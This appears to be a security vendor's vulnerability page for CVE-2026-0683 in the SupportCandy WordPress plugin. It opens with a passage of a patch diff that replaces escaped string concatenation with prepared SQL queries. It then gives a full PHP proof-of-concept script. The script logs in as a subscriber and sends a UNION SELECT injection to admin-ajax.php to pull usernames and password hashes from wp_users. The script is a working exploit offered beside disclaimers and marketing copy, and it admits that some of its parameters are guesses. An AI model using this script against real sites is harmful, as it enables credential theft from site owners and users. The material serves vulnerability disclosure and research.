+					$operator     = ( $compare === 'IN' ) ? 'IN' : 'NOT IN';
+
+					return $wpdb->prepare(
+						"CONVERT({$column} USING utf8) {$operator} ({$placeholders})",
+						$values
+					);

 				case 'LIKE':
-					$arr = array();
-					$val = explode( PHP_EOL, $val );
-					foreach ( $val as $term ) {
-						$term  = str_replace( '*', '%', trim( $term ) );
-						$arr[] = 'CONVERT(' . self::get_sql_slug( $cf ) . ' USING utf8) LIKE '%' . esc_sql( $term ) . '%'';
+					if ( ! is_string( $val ) ) {
+						return '1=0';
 					}
-					$str = '(' . implode( ' OR ', $arr ) . ')';
-					break;
+
+					$terms = array_filter(
+						array_map( 'trim', explode( PHP_EOL, $val ) )
+					);
+
+					$likes = array();
+					$args  = array();
+
+					foreach ( $terms as $term ) {
+
+						$term = str_replace( '*', '%', $term );
+						$term = $wpdb->esc_like( $term );
+
+						if ( $term === '' ) {
+							continue;
+						}
+
+						$likes[] = "CONVERT({$column} USING utf8) LIKE %s";
+						$args[]  = '%' . $term . '%';
+					}
+
+					if ( empty( $likes ) ) {
+						return '1=0';
+					}
+
+					return $wpdb->prepare(
+						'(' . implode( ' OR ', $likes ) . ')',
+						$args
+					);

 				default:
-					$str = '1=1';
+					return '1=1';
 			}
-
-			return $str;
 		}

 		/**
--- a/supportcandy/includes/custom-field-types/class-wpsc-cf-time.php
+++ b/supportcandy/includes/custom-field-types/class-wpsc-cf-time.php
@@ -1300,47 +1300,71 @@
 		 */
 		public static function parse_filter( $cf, $compare, $val ) {

-			$str = '';
+			global $wpdb;
+			$column = self::get_sql_slug( $cf );
+
+			// Operators that expect a single time value.
+			if ( in_array( $compare, array( '=', '<', '>', '<=', '>=' ), true ) ) {
+				if ( ! WPSC_Functions::is_valid_time( $val ) ) {
+					return '1=0';
+				}
+			}

 			switch ( $compare ) {

 				case '=':
-					$str = self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $val ) . '' AND '' . esc_sql( $val ) . ''';
-					break;
+					return $wpdb->prepare(
+						"{$column} BETWEEN %s AND %s",
+						$val,
+						$val
+					);

 				case '<':
-					$str = self::get_sql_slug( $cf ) . $compare . ''' . esc_sql( $val ) . '' AND ' . self::get_sql_slug( $cf ) . ' !=""';
-					break;
+					return $wpdb->prepare(
+						"({$column} < %s AND {$column} != '')",
+						$val
+					);

 				case '>':
-					$str = self::get_sql_slug( $cf ) . $compare . ''' . esc_sql( $val ) . ''';
-					break;
+					return $wpdb->prepare(
+						"{$column} > %s",
+						$val
+					);

 				case '<=':
-					$arr = array(
-						self::get_sql_slug( $cf ) . $compare . ''' . esc_sql( $val ) . ''',
-						self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $val ) . '' AND '' . esc_sql( $val ) . ''',
+					return $wpdb->prepare(
+						"(({$column} <= %s OR {$column} BETWEEN %s AND %s) AND {$column} != '')",
+						$val,
+						$val,
+						$val
 					);
-					$str = '((' . implode( ' OR ', $arr ) . ') AND ' . self::get_sql_slug( $cf ) . ' != "")';
-					break;

 				case '>=':
-					$arr = array(
-						self::get_sql_slug( $cf ) . $compare . ''' . esc_sql( $val ) . ''',
-						self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $val ) . '' AND '' . esc_sql( $val ) . ''',
+					return $wpdb->prepare(
+						"({$column} >= %s OR {$column} BETWEEN %s AND %s)",
+						$val,
+						$val,
+						$val
 					);
-					$str = '(' . implode( ' OR ', $arr ) . ')';
-					break;

 				case 'BETWEEN':
-					$str = self::get_sql_slug( $cf ) . ' BETWEEN '' . esc_sql( $val['operand_val_1'] ) . '' AND '' . esc_sql( $val['operand_val_2'] ) . ''';
-					break;
+					if (
+						! is_array( $val ) ||
+						! WPSC_Functions::is_valid_time( $val['operand_val_1'] ?? '' ) ||
+						! WPSC_Functions::is_valid_time( $val['operand_val_2'] ?? '' )
+					) {
+					

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0683 - SupportCandy – Helpdesk & Customer Support Ticket System <= 3.4.4 - Authenticated (Subscriber+) SQL Injection via Number Field Filter

<?php
/**
 * Proof of Concept for CVE-2026-0683
 * SQL Injection in SupportCandy WordPress Plugin <= 3.4.4
 * Requires Subscriber-level authentication
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_password';

// Initialize cURL session for WordPress login
$ch = curl_init();

// Step 1: Get login page to retrieve nonce/tokens
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Step 2: Perform WordPress authentication
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 3: Identify the AJAX endpoint for ticket filtering
// The vulnerable endpoint processes custom field filters
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Step 4: Craft SQL injection payload for Number field filter
// The payload targets the equals operator in Number field filters
$injection_payload = "1' UNION SELECT user_login,user_pass,1,1,1,1,1,1,1 FROM wp_users--";

// Construct the malicious filter request
// The exact parameter names may vary based on plugin configuration
$exploit_data = array(
    'action' => 'wpsc_get_tickets', // AJAX action for ticket retrieval
    'filter' => json_encode(array(
        'custom_fields' => array(
            array(
                'field' => 'number_field_slug', // Target Number-type custom field
                'operator' => '=', // Equals operator (vulnerable path)
                'operand_val_1' => $injection_payload // SQL injection payload
            )
        )
    )),
    '_ajax_nonce' => 'dummy_nonce' // Nonce may be bypassed or obtained from session
);

// Step 5: Send the exploit request
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_POST, true);
$response = curl_exec($ch);

// Step 6: Parse response for extracted data
echo "Exploit Response:n";
echo $response;

// Check for SQL error messages or extracted data
if (strpos($response, 'user_login') !== false || strpos($response, 'SQL syntax') !== false) {
    echo "n[+] SQL Injection successful - Database information leakedn";
} else {
    echo "n[-] Injection may have failed or been patchedn";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School